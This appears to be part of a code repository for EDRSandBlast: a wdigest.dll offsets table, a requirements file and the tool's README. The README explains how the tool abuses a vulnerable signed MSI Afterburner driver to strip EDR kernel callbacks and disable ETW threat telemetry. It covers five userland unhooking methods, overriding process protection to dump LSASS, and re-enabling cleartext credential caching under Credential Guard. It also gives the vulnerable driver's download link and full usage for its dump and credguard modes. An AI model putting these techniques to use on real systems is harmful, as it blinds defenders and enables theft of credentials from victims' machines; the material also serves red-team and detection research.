14 wdigest_16299-192.dll 35114 34b88
15 wdigest_16299-1937.dll 35114 34b88
16 wdigest_16299-1217.dll 35114 34b88
17 wdigest_17134-1610.dll 36114 35b88
18 wdigest_16299-1992.dll 35114 34b88
19 wdigest_17134-829.dll 35114 34b88
20 wdigest_17134-590.dll 35114 34b88
21 wdigest_17134-1553.dll 35114 34b88
22 wdigest_17763-194.dll 35114 34b88
23 wdigest_17763-1339.dll 36114 35b88
24 wdigest_17763-1294.dll 35114 34b88
25 wdigest_17763-557.dll 35114 34b88
26 wdigest_18362-175.dll 35124 34b88
27 wdigest_18362-959.dll 36124 35b88
28 wdigest_19041-1001.dll 361b4 35c08
29 wdigest_18362-904.dll 35124 34b88
30 wdigest_19041-388.dll 361b4 35c08
31 wdigest_19041-329.dll 361b4 35c08
32 wdigest_22406-1000.dll 3caa4 3cab0
33 wdigest_18362-1216.dll 35124 34b88
+2
View File
@@ -0,0 +1,2 @@
requests
pywin32
+479
View File
@@ -0,0 +1,479 @@
# EDRSandBlast
`EDRSandBlast` is a tool written in `C` that weaponize a vulnerable signed
driver to bypass `EDR` detections (Kernel callbacks and `ETW TI` provider) and
`LSASS` protections. Multiple userland unhooking techniques are also
implemented to evade userland monitoring.
As of release, combination of userland (`--usermode`) and Kernel-land
(`--kernelmode`) techniques were used to dump `LSASS` memory under `EDR`
scrutiny, without being blocked nor generating "OS Credential Dumping"-related
events in the product (cloud) console. The tests were performed on 3 distinct
`EDR` products and were successful in each case.
## Description
### EDR bypass through Kernel callbacks removal
`EDR` products use Kernel callbacks on Windows to be notified by the kernel of
system activity, such as process and thread creation and loading of images
(`exe` / `DLL`).
The Kernel callbacks are defined from user-land using a number of documented
APIs (`nt!PsSetCreateProcessNotifyRoutine`, `nt!PsSetCreateThreadNotifyRoutine`,
etc.). The user-land APIs add driver-supplied callback routines to undocumented
arrays of routines in Kernel-space:
- `PspCreateProcessNotifyRoutine` for process creation
- `PspCreateThreadNotifyRoutine` for thread creation
- `PspLoadImageNotifyRoutine` for image loading
`EDRSandBlast` enumerates the routines defined in those arrays and remove any
callback routine linked to a predefined list of `EDR` drivers (more than 1000
thousands drivers of security products from the
[allocated filter altitudes](https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes)).
The enumeration and removal are made possible through the exploitation of an
arbitrary Kernel memory read / write vulnerability of the
`Micro-Star MSI Afterburner` driver (`CVE-2019-16098`). The enumeration and
removal code is largely inspired from
[br-sn's CheekyBlinder project](https://github.com/br-sn/CheekyBlinder).
The offsets of the aforementioned arrays are hardcoded in the
`NtoskrnlOffsets.csv` file for more than 350 versions of the Windows Kernel
`ntoskrnl.exe`. The choice of going with hardcoded offsets instead of pattern
searches is justified by the fact that the undocumented APIs responsible for
Kernel callbacks addition / removal are subject to change and that any attempt
to write Kernel memory at the wrong address may (and often will) result in a
`Bug Check` (`Blue Screen of Death`). For more information on how the offsets
were gathered, refer to [Offsets section](Offsets).
### EDR bypass through deactivation of the ETW Microsoft-Windows-Threat-Intelligence provider
The `ETW Microsoft-Windows-Threat-Intelligence` provider log data about the
usages of some Windows API commonly used maliciously. This include the
`nt!MiReadWriteVirtualMemory` API, called by `nt!NtReadVirtualMemory` (which is
used to dump `LSASS` memory) and monitored by the `nt!EtwTiLogReadWriteVm`
function.
`EDR` products can consume the logs produced by the `ETW TI` provider through
services or processes running as, respectively,
`SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT` or
`PS_PROTECTED_ANTIMALWARE_LIGHT`, and associated with an `Early Launch Anti
Malware (ELAM)` driver.
As published by
[`slaeryan` in a `CNO Development Labs` blog post](https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider),
the `ETW TI` provider can be disabled altogether by patching, in kernel memory,
its `ProviderEnableInfo` attribute to `0x0`. Refer to the great aforementioned
blog post for more information on the technique.
Similarly to the Kernel callbacks removal, the necessary `ntoskrnl.exe` offsets
(`nt!EtwThreatIntProvRegHandleOffset`, `_ETW_REG_ENTRY`'s `GuidEntry`, and
`_ETW_GUID_ENTRY`'s `ProviderEnableInfo`) are hardcoded in the
`NtoskrnlOffsets.csv` file a number of the Windows Kernel versions.
### EDR bypass through userland hooking bypass
#### How userland hooking works
In order to easily monitor actions that are performed by processes, EDR products often
deploy a mechanism called *userland hooking*. First, EDR products register a kernel
callback (usually *image loading* or *process creation* callbacks, see above) that allows
them to be notified upon each process start.
When a process is loaded by Windows, and before it actually starts, the EDR is able to
inject some custom DLL into the process address space, which contains its monitoing
logic. While loading, this DLL injects "*hooks*" at the start of every function that is to
be monitored by the EDR. At runtime, when the monitored functions are called by the
process under surveillance, these hooks redirect the control flow to some supervision code
present in the EDR's DLL, which allows it to inspect arguments and return values of these
calls.
Most of the time, monitored functions are system calls (such as `NtReadVirtualMemory`,
`NtOpenProcess`, etc.), whose implementations reside in `ntdll.dll`. Intercepting calls to
`Nt*` functions allows products to be as close as possible to the userland / kernel-land
boundary (while remaining in userland), but functions from some higher-level DLLs may also
be monitored as well.
Bellow are examples of the same function, before and after beeing hooked by the EDR product:
```assembly
NtProtectVirtualMemory proc near
mov r10, rcx
mov eax, 50h
test byte ptr ds:7FFE0308h, 1
jnz short loc_18009D1E5
syscall
retn
loc_18009D1E5:
int 2Eh
retn
NtProtectVirtualMemory endp
```
```assembly
NtProtectVirtualMemory proc near
jmp sub_7FFC74490298 ; --> "hook", jump to EDR analysis function
int 3 ; overwritten instructions
int 3 ; overwritten instructions
int 3 ; overwritten instructions
test byte_7FFE0308, 1 ; <-- execution resumes here after analysis
jnz short loc_7FFCB44AD1E5
syscall
retn
loc_7FFCB44AD1E5:
int 2Eh
retn
NtProtectVirtualMemory endp
```
#### Hooks detection
Userland hooks have the "weakness" to be located in userland memory, which means they are
directly observable and modifiable by the process under scrutiny. To automatically detect
hooks in the process address space, the main idea is to compare the differences between
the original DLL on disk and the library residing in memory, that has been potentially
altered by an EDR. To perform this comparison, the following steps are followed by
EDRSandblast:
* The list of all loaded DLLs is enumerated thanks to the `InLoadOrderModuleList` located
int the `PEB` (to avoid calling any API that could be monitored and suspect)
* For each loaded DLL, its content on disk is read and its headers parsed. The
corresponding library, residing in memory, is also parsed to identify sections, exports,
etc.
* Relocations of the DLL are parsed and applied, by taking the base address of the
corresponding loaded library into account. This allows the content of both the in-memory
library and DLL originating from disk to have the exact same content (on sections where
relocations are applied), and thus making the comparison reliable.
* Exported functions are enumerated and the first bytes of the "in-memory" and "on-disk"
versions are compared. Any difference indicates an alteration that has been made after
the DLL was loaded, and thus is very probably an EDR hook.
Note: The process can be generalized to find differences anywhere in non-writable sections
and not only at the start of exported functions, for example if EDR products start to
apply hooks in the middle of function :) Thus not used by the tool, this has been
implemented in `findDiffsInNonWritableSections`.
In order to bypass the monitoring performed by these hooks, multiples techniques are
possible, and each has benefits and drawbacks.
#### Hook bypass using ... unhooking
The most intuitive method to bypass the hook-based monitoring is to remove the
hooks. Since the hooks are present in memory that is reachable by the process itself, to
remove a hook, the process can simply:
* Change the permissions on the page where the hook is located (RX -> RWX or RW)
* Write the original bytes that are known thanks to the on-disk DLL content
* Change back the permissions to RX
This approach is fairly simple, and can be used to remove every detected hook all at
once. Performed by an offensive tool at its begining, this allows the rest of the code to
be completely unaware of the hooking mechnanism and perform normally without being
monitored.
However, it has two main drawbacks. The EDR is probably monitoring the use of
`NtProtectVirtualMemory`, so using it to change the permissions of the page where the
hooks have been installed is (at least conceptually) a bad idea. Also, if a thread is
executed by the EDR and periodically check the integrity of the hooks, this could also
trigger some detection.
For implementation details, check the `unhook()` function's code path when `unhook_method` is
`UNHOOK_WITH_NTPROTECTVIRTUALMEMORY`.
**Important note: for simplicity, this technique is implemented in EDRSandblast as the
base technique used to *showcase* the other bypass techniques; each of them demonstrates
how to obtain an unmonitored version of `NtProtectVirtualMemory`, but performs the same
operation afterward (unhooking a specific hook).**
#### Hook bypass using a custom trampoline
To bypass a specific hook, it is possible to simply "jump over" and execute the rest of
the function as is. First, the original bytes of the monitored function, that have been
overwritten by the EDR to install the hook, must be recovered from the DLL file. In our
previous code example, this would be the bytes corresponding to the following
instructions:
```assembly
mov r10, rcx
mov eax, 50h
```
Identifying these bytes is a simple task since we are able to perform a clean *diff* of
both the memory and disk versions of the library, as previously described. Then, we
assemble a jump instruction that is built to redirect the control flow to the code
following immediately the hook, at address `NtProtectVirtualMemory +
sizeof(overwritten_instructions)`
```assembly
jmp NtProtectVirtualMemory+8
```
Finally, we concatenate these opcodes, store them in (newly) executable memory and keep a
pointer to them. This object is called a "*trampoline*" and can then be used as a function
pointer, strictly equivalent to the original `NtProtectVirtualMemory` function.
The main benefit of this technique as for every techniques bellow, is that the hook is
never erased, so any integrity check performed on the hooks by the EDR should
pass. However, it requires to allocate writable then executable memory, which is typical
of a shellcode allocation, thus attracting the EDR's scrutiny.
For implementation details, check the `unhook()` function's code path when `unhook_method` is
`UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE`. Please remind the technique is
only showcased in our implementation and is, in the end, used to **remove** hooks from
memory, as every technique bellow.
#### Hook bypass using the own EDR's trampoline
The EDR product, in order for its hook to work, must save somewhere in memory the opcodes
that it has removed. Worst (*or "better", from the attacker point of view*), to
effectively use the original instructions the EDR has probably allocated itself a
*trampoline* somewhere to execute the original function after having intercepted the call.
This trampoline can be searched for and used as a replacement for the hooked function,
without the need to allocate executable memory, or call any API except `VirtualQuery`,
which is most likely not monitored being an innocuous function.
To find the trampoline in memory, we browse the whole address space using `VirtualQuery`
looking for commited and executable memory. For each such region of memory, we scan it to
look for a jump instruction that targets the address following the overwritten
instructions (`NtProtectVirtualMemory+8` in our previous example). The trampoline can then
be used to call the hooked function without triggering the hook.
This technique works surprisingly well as it recovers nearly all trampolines on tested
EDR. For implementation details, check the `unhook()` function's code path when
`unhook_method` is `UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE`.
#### Hook bypass using duplicate DLL
Another simple method to get access to an unmonitored version of `NtProtectVirtualMemory`
function is to load a duplicate version of the ntdll.dll library into the process address
space. Since two identical DLLs can be loaded in the same process, provided they have
different names, we can simply copy the legitimate `ntdll.dll` file into another location,
load it using `LoadLibrary` (or reimplement the loading process), and access the function
using `GetProcAddress` for example.
This technique is very simple to understand and implement, and have a decent chance of
success, since most of EDR products does not re-install hooks on newly loaded DLLs once
the process is running. However, the major drawback is that copying Microsoft signed
binaries under a different name is often considered as suspicious by EDR products as
itself.
This technique is nevertheless implemented in `EDRSandblast`. For implementation details, check
the `unhook()` function's code path when `unhook_method` is
`UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY`.
#### Hook bypass using direct syscalls
In order to use system calls related functions, one program can reimplement syscalls (in
assembly) in order to call the corresponding OS features without actually touching the
code in `ntdll.dll`, which might be monitored by the EDR. This completely bypasses any
userland hooking done on syscall functions in `ntdll.dll`.
This nevertheless has some drawbacks. First, this implies been able to know the list of
syscall numbers of functions the program needs, which changes for each version of
Windows. Also, functions that are not technically syscalls
(e.g. `LoadLibraryX`/`LdrLoadDLL`) could be monitored as well, and cannot simply be
reimplemented using a syscall.
This technique is implemented in EDRSandblast. As previously stated, it is only used to
execute `NtProtectVirtualMemory` safely, and remove all detected hooks. However, in order
not to rely on hardcoded offsets, a small heuristic is implemented to search for `mov eax,
imm32` instruction at the start of the `NtProtectVirtualMemory` function and recover the
syscall number from it if found (else relying on hardcoded offset for known Windows
versions).
For implementation details, check the `unhook()` function's code path when `unhook_method` is
`UNHOOK_WITH_DIRECT_SYSCALL`.
### RunAsPPL bypass
The `Local Security Authority (LSA) Protection` mechanism, firstly introduced
in Windows 8.1 and Windows Server 2012 R2, leverage the `Protected Process
Light (PPL)` technology to restrict access to the `LSASS` process. The `PPL`
protection regulates and restricts operations, such as memory injection or
memory dumping of protected processes, even from process holding the
`SeDebugPrivilege` privilege.
The protection level of a process is defined in its `EPROCESS` structure, used
by the Windows kernel to represent processes in memory. The `EPROCESS`
structure includes a `_PS_PROTECTION` field, defining the protection level of a
process through its `Type` (`_PS_PROTECTED_TYPE`) and `Signer`
(`_PS_PROTECTED_SIGNER`) attributes.
If no `EDR` drivers callbacks are detected, the current process is self
protected as `PsProtectedSignerWinTcb-Light`. This level of protection is
sufficient to dump the `LSASS` process memory, with `RunAsPPL` enabled, as
the `PsProtectedSignerWinTcb` signer "dominates" `PsProtectedSignerLsa-Light`
(and both process are of `PsProtectedTypeProtectedLight` type).
`EDRSandBlast` implements the self protection as follow:
- open an handle to the current process
- leak all system handles using `NtQuerySystemInformation` to find the opened
handle on the current process (which correspond to the current process'
`EPROCESS` structure in kernel memory).
- use the arbitrary read / write vulnerability of the `Micro-Star MSI
Afterburner` driver to overwrite the `_PS_PROTECTION` field of the current
process in kernel memory. The offsets of the `_PS_PROTECTION` field
relative to the `EPROCESS` structure (defined by the `ntoskrnl` version in
use) are hardcoded in the `NtoskrnlOffsets.csv` file.
### Credential Guard bypass
Microsoft `Credential Guard` is a virtualization-based isolation technology,
introduced in Microsoft's `Windows 10 (Enterprise edition)` which prevents
direct access to the credentials stored in the `LSASS` process.
When `Credentials Guard` is activated, an `LSAIso` (*LSA Isolated*) process is
created in `Virtual Secure Mode`, a feature that leverages the virtualization
extensions of the CPU to provide added security of data in memory. Access to
the `LSAIso` process are restricted even for an access with the
`NT AUTHORITY\SYSTEM` security context. When processing a hash, the `LSA`
process perform a `RPC` call to the `LSAIso` process, and waits for the
`LSAIso` result to continue. Thus, the `LSASS` process won't contain any
secrets and in place will store `LSA Isolated Data`.
As stated in original research conducted by `N4kedTurtle`: "`Wdigest` can be
enabled on a system with Credential Guard by patching the values of
`g_fParameter_useLogonCredential` and `g_IsCredGuardEnabled` in memory".
The activation of `Wdigest` will result in cleartext credentials being stored
in `LSASS` memory for any new interactive logons (with out requiring a reboot of
the system). Refer to the
[original research blog post](https://teamhydra.blog/2020/08/25/bypassing-credential-guard/)
for more details on this technique.
`EDRSandBlast` simply make the original PoC a little more opsec friendly and
provide support for a number of `wdigest.dll` versions (through hardcoded
offsets for `g_fParameter_useLogonCredential` and `g_IsCredGuardEnabled`).
### ntoskrnl and wdigest offsets
The required `ntoskrnl.exe` and `wdigest.dll` offsets (mentioned above) are
extracted using `r2pipe`, as implemented in the `ExtractOffsets.py` `Python`
script. In order to support more Windows versions, the `ntoskrnl.exe` and
`wdigest.dll` referenced by [Winbindex](https://winbindex.m417z.com/) can be
automatically downloaded (and their offsets extracted). This allow to extract
offsets from that files which appear in Windows update packages (to date 350+
`ntoskrnl.exe` and 30+ `wdigest.dll` versions).
## Usage
The vulnerable `RTCore64.sys` driver can be retrieved at:
```
http://download-eu2.guru3d.com/afterburner/%5BGuru3D.com%5D-MSIAfterburnerSetup462Beta2.zip
```
### Quick usage
```
EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard> [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [-o | --dump-output <DUMP_FILE>]
```
### Options
```
-h | --help Show this help message and exit.
-v | --verbose Enable a more verbose output.
Actions mode:
audit Display the user-land hooks and / or Kernel callbacks with out taking actions.
dump Dump the LSASS process, by default as 'lsass' in the current directory or at the
specified file using -o | --output <DUMP_FILE>.
cmd Open a cmd.exe prompt.
credguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if
Credential Guard is enabled on the host. No kernel-lank actions required.
--usermode Perform user-land operations (DLL unhooking).
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).
--unhook-method <N>
Choose the userland un-hooking technique, from the following:
1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all
present userland hooks.
2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by
allocating an executable trampoline jumping over the hook, and remove all present
userland hooks.
3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'
(i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland
hooks.
4 Loads an additional version of ntdll library into memory, and use the (hopefully
unmonitored) version of NtProtectVirtualMemory present in this library to remove all
present userland hooks.
5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,
and uses it to remove all detected hooks
Other options:
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host
Default to automatically unsinstall the driver.
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.
Default to restore the callbacks.
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.
Default to 'RTCore64.sys' in the current directory.
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.
Default to 'NtoskrnlOffsets.csv' in the current directory.
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets
(only for the 'credguard' mode).
Default to 'WdigestOffsets.csv' in the current directory.
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.
Default to 'lsass' in the current directory.
```
### Build
`EDRSandBlast` (x64 only) was built on Visual Studio 2019 (Windows SDK
Version: `10.0.19041.0` and Plateform Toolset: `Visual Studio 2019 (v142)`).
### ExtractOffsets.py usage
Note that `ExtractOffsets.py` has only be tested on Windows.
```
# Installation of Python dependencies
pip.exe install -m .\requirements.txt
# Script usage
ExtractOffsets.py [-h] -i INPUT [-o OUTPUT] [-d] mode
positional arguments:
mode ntoskrnl or wdigest. Mode to download and extract offsets for either ntoskrnl or wdigest
optional arguments:
-h, --help show this help message and exit
-i INPUT, --input INPUT
Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from.
If in dowload mode, the PE downloaded from MS symbols servers will be placed in this folder.
-o OUTPUT, --output OUTPUT
CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be
downloaded / analyzed.
Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder.
-d, --dowload Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.
```
## Acknowledgements
- Kernel callbacks enumeration and removal:
https://github.com/br-sn/CheekyBlinder
- Kernel memory Read / Write primitives through the vulnerable
`Micro-Star MSI Afterburner` driver:
https://github.com/Barakat/CVE-2019-16098/
- Disabling of the ETW Threat Intelligence provider:
https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
- Driver install / uninstall: https://github.com/gentilkiwi/mimikatz
- Initial list of `EDR` drivers names:
https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-EDRCheck.ps1
- Credential Guard bypass by re-enabling `Wdigest` through `LSASS` memory
patching: https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
## Authors
[Thomas DIOT (Qazeer)](https://github.com/Qazeer/)
[Maxime MEIGNAN (themaks)](https://github.com/themaks)
## Licence
CC BY 4.0 licence - https://creativecommons.org/licenses/by/4.0/